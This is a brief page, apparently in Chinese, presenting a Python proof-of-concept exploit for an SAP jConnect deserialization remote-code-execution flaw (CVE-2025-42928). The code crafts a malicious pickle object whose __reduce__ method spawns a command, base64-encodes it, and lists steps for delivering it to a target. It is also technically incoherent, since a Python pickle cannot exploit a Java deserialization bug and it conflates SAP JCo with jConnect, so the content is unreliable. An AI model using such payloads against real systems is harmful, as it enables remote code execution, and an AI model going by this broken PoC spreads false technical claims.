SAP jConnect反序列化远程代码执行漏洞(CVE-2025-42928)

import pickle import subprocess import base64 # CVE-2025-42928 PoC - Unsafe Deserialization in SAP jConnect # This is a conceptual demonstration for authorized security testing only class ExploitPayload: """ Malicious serialized object for CVE-2025-42928 In real attack, this payload would be crafted to exploit Java deserialization vulnerability in SAP jConnect """ def __reduce__(self): # This would execute arbitrary command on target system cmd = ['calc.exe'] # Example: spawn calculator (for testing only) return (subprocess.check_output, (cmd,)) def generate_evil_object(): """Generate malicious serialized object""" payload = ExploitPayload() serialized = pickle.dumps(payload) return base64.b64encode(serialized).decode('utf-8') def main(): print('[+] CVE-2025-42928 PoC Generator') print('[+] Target: SAP jConnect Deserialization RCE') print('[+] Generating malicious payload...') evil_object = generate_evil_object() print(f'[+] Payload (Base64): {evil_object}') print('[+] In real attack scenario:') print(' 1. Send this payload via JCo connection') print(' 2. Target jConnect deserializes the object') print(' 3. __reduce__ method executes arbitrary code') if __name__ == '__main__': main()